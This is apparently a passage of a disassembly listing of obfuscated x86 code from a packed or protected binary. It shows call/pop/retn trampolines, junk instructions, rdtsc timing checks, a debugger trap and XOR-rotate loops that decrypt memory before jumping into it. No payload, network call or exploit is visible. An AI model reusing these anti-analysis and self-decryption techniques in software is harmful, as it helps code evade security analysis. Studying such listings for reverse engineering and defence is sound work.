		dd 0C3514100h, 85096AD8h, 7D10749h, 10258D89h, 0F88307D1h
		dd 46840F03h, 8B000000h, 0B8D1h, 0BA660000h, 0BD8D010Fh
		dd 5B89E0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 16h,	7DC35343h, 840FEAD8h, 3, 81D88B66h, 59F582EAh
		dd 33E7FF29h, 0D114359Dh, 1B807h, 0E8560000h, 14h, 0D448A6BEh
		dd 67384E7Ch, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 5B5A24B6h
		dd 89E0BD8Dh, 6A005Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 361445C3h, 26EA8E39h, 9CA2BA66h
		dd 208C0Fh, 14E80000h, 0A7000000h, 4D570A3Bh, 0D988099Dh
		dd 0D7FB2C9Eh, 0E26888E2h, 8B890FA3h, 0D1152D9Dh, 0E7FF5B07h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0DEC35242h
		dd 0B8BB944Ah, 8D38141Ah, 0D1432CBDh, 68B0F07h,	0B000000h
		dd 0D103C995h, 2F7E907h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 9B9283C3h, 0B643CEE8h
		dd 858991BDh, 7D113A1h,	6810Fh,	0D2810000h, 376032C7h
		dd 4CFB85C7h, 507D1h, 5B80000h,	0B2000000h, 0C2816637h
		dd 59E958C3h, 89000009h, 0D124859Dh, 2F88307h, 120850Fh
		dd 0BF0F0000h, 0B8D0h, 880F0000h, 6, 13658589h,	0C00B07D1h
		dd 0D3840Fh, 9D890000h,	7D11051h, 0F01F883h, 0FFFFAB84h
		dd 1E8F0FFFh, 0E8000000h, 12h, 0A3AE7CB4h, 0F421063Bh
		dd 0DC61B76Bh, 438974E0h, 8D891B9Bh, 7D10C6Dh, 3F8835Ah
		dd 0FE97840Fh, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 3FEFEFC3h, 3DF16E33h, 0B6DF8BE0h
		dd 0C381663Fh, 0B8F96Ch, 52000000h, 0CBD958Bh, 8D5B07D1h
		dd 5B89E0BDh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D2CC493Eh, 10B764E5h, 6AE7FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E8D2E6C3h, 0Ah, 0F7488F45h,	0AE5B4F7Dh, 85899AC0h
		dd 7D10089h, 24BD8D5Bh,	6607D145h, 9AE9D38Bh, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6D00C353h, 2111BD31h, 0F88307D1h,	55850F03h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0DFCC350h, 2D9D8B4Bh, 6607D12Ah
		dd 4C18F281h, 46B8BD8Dh, 816607D1h, 0E9ECA9DBh,	135h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8DC35646h, 0F05F883h
		dd 1185h, 71958B00h, 0E907D10Fh, 7B8h, 1F5958Bh, 0F88307D1h
		dd 5E850F06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 5EBCC357h, 0BB5662A2h
		dd 1FCCA38h, 0D1109D8Dh, 0B0BD8D07h, 8907D148h,	0D10C4D85h
		dd 0BBE907h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0D79534C3h, 86C7198Ch, 7F8833Bh
		dd 47850Fh, 13E90000h, 61000000h, 93194065h, 823C32Ah
		dd 7CFB0390h, 6553B127h, 0BD8D852Ah, 7D10CCDh, 8F0F6052h
		dd 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		jmp	loc_58D3C9
; ---------------------------------------------------------------------------
		jl	loc_58D26D
		jmp	loc_58D26D
; ---------------------------------------------------------------------------
		dw 46E9h
		dd 0F72CDADEh, 4CB0E651h, 39CC9EF9h
		db 0D4h
; ---------------------------------------------------------------------------


loc_58D26D:				; CODE XREF: sub_58A891+29C2j
					; sub_58A891+29C8j
		cmp	eax, 0Ah
		jnz	loc_58D2B5
		movsx	ebx, dx
		lea	edi, [ebp+7D14AA8h]
		push	0
		push	ecx
		call	loc_58D28A
		and	[ecx-3Dh], bl


loc_58D28A:				; CODE XREF: sub_58A891+29F1p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		imul	byte ptr [edx]
		enter	36DBh, 80h
		retf
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		mov	[ebp+7D130C1h],	eax
		jmp	loc_58D2B5
; ---------------------------------------------------------------------------
		or	edx, 689138F1h


loc_58D2B5:				; CODE XREF: sub_58A891+29DFj
					; sub_58A891+2A19j
		push	edi
		mov	dl, 77h
		mov	ecx, 5C46B9Bh
		push	0
		push	ecx
		call	loc_58D2C8
		and	[ecx-3Dh], bl


loc_58D2C8:				; CODE XREF: sub_58A891+2A2Fp
		pop	ecx
		mov	[esp-1Ah+arg_18+2], ecx
		add	[esp-1Ah+arg_18+2], 1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 37A17998h, 3A43B276h, 0C5B5899Dh, 8307D11Ah,	840F003Fh
		dd 0D2h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0BBC35747h, 0EC5763F9h,	78BA66B4h, 94DE8034h, 6A0F30h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 2323CCC3h, 8E9h, 65A23300h, 0E49AD743h, 6AC9D1ECh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3D82C351h, 0CE6D3AB3h, 62B6A66Eh, 50006A47h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E81233C3h
		dd 0Ch,	0A9C94280h, 51C64572h, 8A60FB07h, 2879C281h, 315A5C8Bh
		dd 0D12961B5h, 0FF39E907h, 0E952FFFFh, 0Dh, 8E6B8D85h
		dd 999F5244h, 5EC1C252h, 295F5BADh, 0D1004D9Dh
; ---------------------------------------------------------------------------
		pop	es


loc_58D3C9:				; CODE XREF: sub_58A891+29BDj
		mov	[ebp+7D14CA4h],	edi
		push	0
		push	eax
		call	loc_58D3DA
		and	[eax-3Dh], bl


loc_58D3DA:				; CODE XREF: sub_58A891+2B41p
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		sub	cl, 0DEh
		wait
		adc	al, 0BCh
		jmp	loc_58D401
; ---------------------------------------------------------------------------
		db 66h,	28h, 0A9h
; ---------------------------------------------------------------------------
		mov	ds:0D824101Ch, eax
		jmp	short loc_58D478
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		scasd


loc_58D401:				; CODE XREF: sub_58A891+2B5Fj
		mov	dx, 0A5CBh
		lea	ecx, [ebp+7D12621h]
		push	edi
		mov	edx, [ebp+7D113FDh]
		pop	edx
		jmp	loc_58D420
; ---------------------------------------------------------------------------
		dd 0E033791Ah, 0FAB89965h
; ---------------------------------------------------------------------------


loc_58D420:				; CODE XREF: sub_58A891+2B82j
		push	dword ptr [ebp+7D13091h]
		sub	[ebp+7D122C9h],	eax
		lea	eax, [ebp+7D3D40Fh]
		push	eax
		lea	edi, [ebp+7D1536Bh]
		lea	ecx, [ebp+7D16E08h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_58D446:				; CODE XREF: sub_58A891+2BBBj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58D446
		lea	esi, [ebp+7D16D84h]
		lea	ecx, [ebp+7D16E20h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_58D4AF
		cmp	dword ptr [ebp+7D11DE1h], 0
		jz	short loc_58D478
		call	dword ptr [ebp+7D11B81h]


loc_58D478:				; CODE XREF: sub_58A891+2B6Cj
					; sub_58A891+2BDFj
		mov	esi, [ebp+7D14CA4h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax
		lea	eax, [ebp+7D142B8h]
		call	eax
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esp, [ebp+7D1234Dh]
		mov	esi, [ebp+7D13221h]
		mov	ebp, [ebp+7D12B71h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58D4AF:				; CODE XREF: sub_58A891+2BD6j
		mov	[ebp+7D11CD5h],	edx
		mov	edx, [ebp+7D122C1h]
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	loc_58D4FF
		jz	loc_58D4D4
		mov	[ebp+7D11BF9h],	esi


loc_58D4D4:				; CODE XREF: sub_58A891+2C37j
		call	dword ptr [ebp+7D13301h]
		push	0
		push	ebx
		call	loc_58D4E5
		and	[ebx-3Dh], bl


loc_58D4E5:				; CODE XREF: sub_58A891+2C4Cp
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 84h,	50h, 0E7h
		dd 17EAB91Bh
		db 5, 1, 0C5h
; ---------------------------------------------------------------------------


loc_58D4FF:				; CODE XREF: sub_58A891+2C31j
		cmp	dword ptr [ebp+7D12E45h], 0
		jnz	loc_58D6CF
		mov	bx, 0FEDAh
		cmp	dword ptr [ebp+7D11715h], 1
		jnz	loc_58D6CF
		push	edx
		sbb	bx, 3D20h
		pop	ebx
		cmp	dword ptr [ebp+7D13149h], 0
		jz	loc_58D6CF
		push	0
		push	edx
		call	loc_58D53C
		and	[edx-3Dh], bl


loc_58D53C:				; CODE XREF: sub_58A891+2CA3p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dd 0BD83066Bh, 7D14CF7h, 74840F00h, 8B000001h, 13E9D9h
		dd 0FEA10000h, 4C68524Fh, 4E647691h, 1C134150h,	8260CA0h
		dd 0F858D3Dh, 0FC07D3D4h, 4CA4B58Bh, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 5ADEC6C3h
		dd 0B7AA46FDh, 324DBD89h, 0D0FF07D1h, 0E2CA8166h, 0B585C683h
		dd 5407D131h, 17918D89h, 4E807D1h, 0F4000000h, 0B3FF4EBEh
		dd 14E8502Ch, 0EB000000h, 2FA62FC6h, 0D581D386h, 1C3671BBh
		dd 9AF01375h, 0E88DDFF7h, 14h, 66995B00h, 73A8D9Ah, 36998BDAh
		dd 4F20B774h, 0F14443E4h, 310F5250h, 5A5A585Ah,	424448Bh
		dd 8BD78Bh, 4489DF8Bh, 820F0424h, 0
; ---------------------------------------------------------------------------
		pop	eax
		push	0
		push	ecx
		call	loc_58D624
		and	[ecx-3Dh], bl


loc_58D624:				; CODE XREF: sub_58A891+2D8Bp
		pop	ecx
		mov	[esp-14h+arg_14], ecx
		add	[esp-14h+arg_14], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 958B9074h, 7D12ED1h,	1CC9B5FFh, 9D8B07D1h, 7D1291Dh
		dd 3B01858Dh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 20A198C3h, 8FBA6652h, 0D0FF5A87h
		dd 6A20B6h, 0FF6ADF8Bh,	3E96BA66h, 0D78BD0FFh, 1981B5FFh
		dd 830F07D1h, 6, 28919589h, 95FF07D1h, 7D13091h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 59C35343h, 8712B43Bh
		dd 6081B910h, 958B4EB5h, 7D10F39h, 15858961h
; ---------------------------------------------------------------------------
		das
		rol	dword ptr [edi], 1


loc_58D6CF:				; CODE XREF: sub_58A891+2C75j
					; sub_58A891+2C86j ...
		mov	esi, [ebp+7D14CA4h]
		mov	[ebp+7D11D4Dh],	ebx
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_58D6E7
		and	[ebp-3Dh], bl


loc_58D6E7:				; CODE XREF: sub_58A891+2E4Ep
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 18h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	ds:0B9CBD3F0h, al
		mov	[ebp+7D12FA5h],	eax
		mov	esi, [ebp+7D11E25h]
		sub	dl, 53h
		or	esi, esi
		jz	loc_58D744
		push	0
		push	ecx
		call	loc_58D71E
		and	[ecx-3Dh], bl


loc_58D71E:				; CODE XREF: sub_58A891+2E85p
		pop	ecx
		mov	[esp-10h+arg_A+2], ecx
		add	[esp-10h+arg_A+2], 18h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		or	[ebp+0Fh], ecx
		xchg	eax, ebx
		rcl	byte ptr [edi-77h], 9Dh
		leave
		push	es
		rol	dword ptr [edi], 1
		pop	ebx
		sub	[ebp+7D118E9h],	ecx
		mov	byte ptr [esi],	0


loc_58D744:				; CODE XREF: sub_58A891+2E7Cj
		mov	[ebp+7D14CACh],	eax
		xor	[ebp+7D13139h],	eax
		cmp	eax, 0
		jz	loc_58DA2F	; CODE XREF: sub_58A891+2F37j
		sub	[ebp+7D10C75h],	ecx
		mov	eax, 0
		adc	edx, 5F73D28Ah
		cmp	eax, 0
		jz	loc_58D82F
		push	ebx
		mov	[ebp+7D11A05h],	edi
		pop	edx
		xor	ebx, 1055B938h
		cmp	eax, 2
		jnz	loc_58D804
		jz	loc_58D796
		mov	ebx, [ebp+7D12B35h]


loc_58D796:				; CODE XREF: sub_58A891+2EF9j
		lea	eax, [ebp+7D14327h]
		mov	bx, dx
		sub	eax, 929h
		jmp	loc_58D7BD
; ---------------------------------------------------------------------------
		db 1Ah,	0ADh, 87h
		dd 0D650C75h, 111E629Ah, 0D0C869A6h, 9F4491AAh
		db 5Bh
; ---------------------------------------------------------------------------


loc_58D7BD:				; CODE XREF: sub_58A891+2F13j
		call	near ptr loc_58D7C8+1
		popfw
		aam	33h
		in	eax, dx
		pop	esi


loc_58D7C8:				; CODE XREF: sub_58A891:loc_58D7BDp
		loope	near ptr loc_58D753+2
		popf
		db	65h
		sub	eax, 905B07D1h
		call	near ptr loc_58D7DC+1
		les	esp, [eax-3]
		add	al, 0E0h
		int	3		; Trap to Debugger


loc_58D7DC:				; CODE XREF: sub_58A891+2F40p
		fisttp	dword ptr [edi]
		mov	word ptr [ebx],	es
; ---------------------------------------------------------------------------
		dd 66000000h, 505AD88Bh, 0CDEF39BBh, 8B669012h,	0DE9C3DFh
		dd 0E3000000h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h
; ---------------------------------------------------------------------------


loc_58D804:				; CODE XREF: sub_58A891+2EF3j
		mov	eax, 0
		mov	ebx, edx
		jmp	loc_58DA2F
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_58D81B
		and	[ebp-3Dh], bl


loc_58D81B:				; CODE XREF: sub_58A891+2F82p
		pop	ebp
		mov	[esp-2Ah+arg_26], ebp
		add	[esp-2Ah+arg_26], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dec	esi
		ror	dword ptr [ecx], cl
		push	ss


loc_58D82F:				; CODE XREF: sub_58A891+2EDCj
		mov	eax, 1
		mov	ebx, [ebp+7D121DDh]
		lea	edi, [ebp+7D1432Ch]
		sub	dl, 0Fh
		jmp	loc_58D8FA
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_58D853
		and	[edx-3Dh], bl


loc_58D853:				; CODE XREF: sub_58A891+2FBAp
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6E9A5BAh, 1F000000h,	8DE13461h, 2F8830Fh, 40850Fh, 0B5290000h
		dd 7D12D01h, 4524BD8Dh,	6A07D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0AF3A65C3h, 5AD6B23Bh
		dd 0D9D8B05h, 0E907D125h, 46h, 1D2D9D89h, 0F88307D1h, 22850F03h
		dd 66000000h, 8D6DCFBAh, 0D146B8BDh, 3890F07h, 66000000h
		dd 1FE9D78Bh, 0E9000000h, 5, 0DD1F8D71h, 5F8830Ch, 0C850Fh
		dd 0D18B0000h, 73E9h, 0E3816600h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		dec	esi


loc_58D8FA:				; CODE XREF: sub_58A891+2FB2j
		push	edi
		push	0
		push	esi
		call	loc_58D906
		and	[esi-3Dh], bl


loc_58D906:				; CODE XREF: sub_58A891+306Dp
		pop	esi
		mov	[esp-20h+arg_1C], esi
		add	[esp-20h+arg_1C], 17h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 1182h
		dd 8589FC22h, 7D10C45h,	0C46B9BB9h, 839DB705h, 840F003Fh
		dd 38h,	0CE8F860h, 0A1000000h, 82008065h, 4D9AA630h, 8B7AE022h
		dd 0D114199Dh, 0BB615E07h, 79C5F4A6h, 0BF0F0F30h, 66C9D1D3h
		dd 1BC7E281h, 0FFC5E947h, 0BD89FFFFh, 7D10C99h,	0F05F883h
		dd 0BE85h, 0C8F0F00h, 0F000000h, 68Dh, 9958900h, 6607D12Ch
		dd 8166D98Ch, 0F605F3D3h, 850F04C1h, 59h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0EEC35040h, 5C042912h
		dd 0DB92C34Bh, 346CBA66h, 20199533h, 0B807D1h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8F5DC352h, 44E95850h, 0B7000000h,	0C9858B33h
		dd 6A07D133h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 13DC356h, 0FCD4C8CDh, 0D7BB66B9h
		dd 9589509Dh, 7D12A05h,	0FE0FF5Ah, 685h, 719D8B00h
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		pop	es


loc_58DA2F:				; CODE XREF: sub_58A891:loc_58D753j
					; sub_58A891+2F7Aj
		cmp	dword ptr [ebp+7D13091h], 0
		jnz	loc_58DB43
		push	0
		push	esi
		call	loc_58DA47
		and	[esi-3Dh], bl


loc_58DA47:				; CODE XREF: sub_58A891+31AEp
		pop	esi
		mov	[esp-22h+arg_1C+2], esi
		add	[esp-22h+arg_1C+2], 19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 3Dh
; ---------------------------------------------------------------------------
		sbb	al, 0AAh
		and	eax, 8D89E232h
		aad	1Ah
		rol	dword ptr [edi], 1
		push	eax
		jmp	loc_58DA71
; ---------------------------------------------------------------------------
		db 0A9h, 0F4h, 93h
		dd 0BFE94597h
; ---------------------------------------------------------------------------
		wait


loc_58DA71:				; CODE XREF: sub_58A891+31D3j
		pop	edx
		nop
		mov	bx, dx
		push	eax
		mov	dh, ah
		nop
		and	edx, 17B31CF7h
		mov	byte ptr [ebp+7D131B5h], 45h
		jo	loc_58DA8E
		cld


loc_58DA8E:				; CODE XREF: sub_58A891+31F6j
		call	near ptr loc_58DA93+4


loc_58DA93:				; CODE XREF: sub_58A891:loc_58DA8Ep
		imul	ebp, [ecx+72h],	0BB52508Eh
		sbb	al, 10h
		arpl	[esi], di
		rdtsc
		pop	edx
		pop	eax
		push	eax
		call	loc_58DAB1
		adc	ds:89FFBF6Dh, ch
		aam	8Fh


loc_58DAB1:				; CODE XREF: sub_58A891+3212p
		jo	$+6
		pop	edx
		mov	eax, [esp+4]
		call	near ptr loc_58DAD4+1
		xchg	eax, edi
		and	ebx, ebx
		mov	ecx, 95D9612Ah
		call	far ptr	0C3E7h:820DA1Ah
		push	cs
		pop	esi
		pop	esp
		movsd


loc_58DAD4:				; CODE XREF: sub_58A891+322Bp
		out	60h, al		; AT Keyboard controller 8042.
		jmp	loc_58DAEB
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0F6B5DEBBh, 732A6376h, 0A962A740h
		db 0C5h, 0BDh, 3Eh
; ---------------------------------------------------------------------------


loc_58DAEB:				; CODE XREF: sub_58A891+3245j
		popa
		pop	edx
		mov	eax, [eax]
		mov	edx, 9C4CD27h
		mov	[esp+4], eax
		push	edi
		mov	edx, 656D15F3h
		pop	ebx
		pop	eax
		mov	edx, 4252BAB8h
		push	dword ptr [ebp+7D11CC9h]
		jmp	loc_58DB18
; ---------------------------------------------------------------------------
		dd 592F1FCFh, 35354969h
; ---------------------------------------------------------------------------


loc_58DB18:				; CODE XREF: sub_58A891+327Aj
		lea	eax, [ebp+7D13B01h]
		jb	loc_58DB28
		mov	bx, 63Eh


loc_58DB28:				; CODE XREF: sub_58A891+328Dj
		call	eax
		mov	dh, 0DAh
		mov	[ebp+7D13091h],	eax
		sub	dx, 9760h
		movzx	edx, dx
		pop	eax
		mov	edx, edi
		sub	[ebp+7D122A9h],	ebx


loc_58DB43:				; CODE XREF: sub_58A891+31A5j
		cmp	dword ptr [ebp+7D14CFBh], 0
		jz	loc_58DBBA
		mov	edx, [ebp+7D12A21h]
		push	dword ptr [ebp+7D11981h]
		push	0
		push	ebx
		call	loc_58DB67
		and	[ebx-3Dh], bl


loc_58DB67:				; CODE XREF: sub_58A891+32CEp
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 61h
		dd 13B7DD00h, 54424D3Ah, 0B860F7Ch, 60000000h, 8E0Fh, 8B660000h
		dd 8C0F61C3h, 16h, 10E8h, 0F8992500h, 679D0B55h, 0CF8CAD11h
		dd 0F5BC494Eh, 95FF5A84h, 7D13091h, 24F99523h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_58DBBA:				; CODE XREF: sub_58A891+32B9j
		cmp	eax, 0
		jnz	loc_58DC85
		push	0
		push	esi
		call	loc_58DBCE
		and	[esi-3Dh], bl


loc_58DBCE:				; CODE XREF: sub_58A891+3335p
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		jnz	short loc_58DBF1
		xor	ebx, [eax+3EBB66B8h]
		add	[esi-75h], ah
		xlat
		cmp	dword ptr [ebp+7D12C25h], 0


loc_58DBF1:				; CODE XREF: sub_58A891+334Dj
		jz	loc_58DC3F
		stc
		push	dword ptr [ebp+7D12C25h]
		push	0
		push	ecx
		call	loc_58DC09
		and	[ecx-3Dh], bl


loc_58DC09:				; CODE XREF: sub_58A891+3370p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		test	[ecx+edi*2], ch
		lea	edx, [edi-2540F071h]
		mov	eax, 1
		ja	loc_58DC2F
		mov	dh, cl


loc_58DC2F:				; CODE XREF: sub_58A891+3396j
		mov	ebx, [ebp+7D1086Dh]
		jmp	loc_58DE62
; ---------------------------------------------------------------------------
		mov	edx, 1E3B07FDh


loc_58DC3F:				; CODE XREF: sub_58A891:loc_58DBF1j
		push	dword ptr [ebp+7D11981h]
		sub	edx, [ebp+7D11399h]
		push	dword ptr [ebp+7D11981h]
		mov	[ebp+7D11769h],	ecx
		push	dword ptr [ebp+7D13091h]
		add	dx, 903Eh
		jmp	loc_58DE62
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_58DC72
		and	[edx-3Dh], bl


loc_58DC72:				; CODE XREF: sub_58A891+33D9p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 0D67Dh
		db 33h
; ---------------------------------------------------------------------------


loc_58DC85:				; CODE XREF: sub_58A891+332Cj
		pop	edi
		mov	dx, 8D4Bh
		cmp	dword ptr [ebp+7D11AA9h], 0
		jnz	loc_58DDA3
		jge	loc_58DC9F
		mov	bh, 8Ch


loc_58DC9F:				; CODE XREF: sub_58A891+3406j
		mov	byte ptr [ebp+7D131B5h], 4Dh
		push	0
		push	ecx
		call	loc_58DCB1
		and	[ecx-3Dh], bl


loc_58DCB1:				; CODE XREF: sub_58A891+3418p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 8Ch,	4Fh, 9
		dd 0D1181DB5h, 9DBA6607h, 4E843h, 76A80000h, 0D78AA435h
		dd 60525050h, 810F5F56h, 0
		dd 66310F61h, 5A9D2BBAh, 24448B58h, 0CE904h, 8EAF0000h
		dd 33AABAC0h, 7370846Bh, 8BABA6h, 0A7D674BBh, 24448919h
		dd 0D98B6604h, 55006A58h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 3FFD1DB0h, 14E9h, 0ECF36800h
		dd 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh, 12E932h
		dd 0CD0C0000h, 0CA5A0DA5h, 5087D206h, 43440580h, 0A700564h
		dd 30F9B5FFh, 816607D1h, 0F81BBDDAh, 3B01858Dh,	6A07D1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EE0DF1C3h, 31BA4119h, 0D0FFDCB6h, 8589D5B2h, 7D11AA9h
; ---------------------------------------------------------------------------
		movzx	edx, si


loc_58DDA3:				; CODE XREF: sub_58A891+3400j
		mov	eax, 0
		mov	edx, [ebp+7D12F09h]
		mov	[ebp+7D14CA4h],	edi
		mov	bx, 5725h
		or	eax, eax
		jz	loc_58DE06
		push	0
		push	ebp
		call	loc_58DDCB
		and	[ebp-3Dh], bl


loc_58DDCB:				; CODE XREF: sub_58A891+3532p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0F8h
		dd 317E29DCh, 0B70F131Bh, 78E9DAh, 0C3810000h, 0A3E089Bh
		dd 0AE8h, 911EE200h, 9A11AA50h,	8BD4B05Eh, 0D131C59Dh
; ---------------------------------------------------------------------------
		pop	es
		pop	ebx


loc_58DE06:				; CODE XREF: sub_58A891+3529j
		push	dword ptr [ebp+7D13091h]
		mov	bx, 0C014h
		lea	eax, [ebp+7D3D40Fh]
		push	0
		push	ebp
		call	loc_58DE21
		and	[ebp-3Dh], bl


loc_58DE21:				; CODE XREF: sub_58A891+3588p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 9Ch,	0DCh, 0ADh
		dd 793A17E9h, 850F7413h, 14h, 0FE9h, 0B616AC00h, 4340EF6Ah
		dd 0EA1BE80h, 51C0CB2Ch, 0AF73BB50h, 4893ADCh, 1216BB24h
		db 0F6h, 7Dh
; ---------------------------------------------------------------------------


loc_58DE62:				; CODE XREF: sub_58A891+33A4j
					; sub_58A891+33D1j
		push	eax
		push	esi
		lea	edi, [ebp+7D1536Bh]
		lea	ecx, [ebp+7D17839h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_58DE77:				; CODE XREF: sub_58A891+35ECj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58DE77
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7D12C25h], 0
		jz	short loc_58DE90
		mov	ecx, [ebp+7D1172Dh]


loc_58DE90:				; CODE XREF: sub_58A891+35F7j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_58DF47
		cmp	dword ptr [ebp+7D11DE1h], 0
		jz	short loc_58DEAE
		call	dword ptr [ebp+7D11B81h]


loc_58DEAE:				; CODE XREF: sub_58A891+3615j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_58DEC0
		cmp	dword ptr [ebp+7D14CACh], 1
		jz	short loc_58DEC9


loc_58DEC0:				; CODE XREF: sub_58A891+3624j
		cmp	dword ptr [ebp+7D14CACh], 2
		jnz	short loc_58DED7


loc_58DEC9:				; CODE XREF: sub_58A891+362Dj
		mov	esi, [ebp+7D14CA4h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax


loc_58DED7:				; CODE XREF: sub_58A891+3636j
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	short loc_58DEE6
		call	dword ptr [ebp+7D13301h]


loc_58DEE6:				; CODE XREF: sub_58A891+364Dj
		lea	eax, [ebp+7D142B8h]
		call	eax
		cmp	dword ptr [ebp+7D10875h], 2
		jnz	short loc_58DF26
		mov	esp, [ebp+7D1234Dh]
		mov	eax, [ebp+7D12C25h]
		mov	[esp+0], eax
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esi, [ebp+7D14CA8h]
		mov	ebp, [ebp+7D12B71h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_58DF26:				; CODE XREF: sub_58A891+3664j
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esp, [ebp+7D1234Dh]
		mov	esi, [ebp+7D13221h]
		mov	ebp, [ebp+7D12B71h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


